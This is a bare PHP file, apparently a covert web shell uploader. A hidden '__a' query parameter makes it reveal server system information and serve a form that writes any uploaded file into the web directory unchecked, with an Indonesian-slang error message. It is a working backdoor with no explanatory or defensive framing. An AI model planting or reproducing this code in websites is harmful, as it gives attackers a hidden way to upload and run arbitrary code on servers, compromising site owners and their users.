<?php
if(isset($_GET["__a"]) == 1) {
    echo 'System: <font color="black" id="system_info">'.php_uname().'</font><br>';
    echo"<br><form method=post enctype=multipart/form-data>";
    echo"<input type=file name=f><input name=k type=submit id=k value=upload><br>";
    if($_POST["k"]==upload) {
        if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])) {
        echo"<b>".$_FILES["f"]["name"];
        } else {
          echo"<b>Gagal upload cok";
        }
    }
}
?>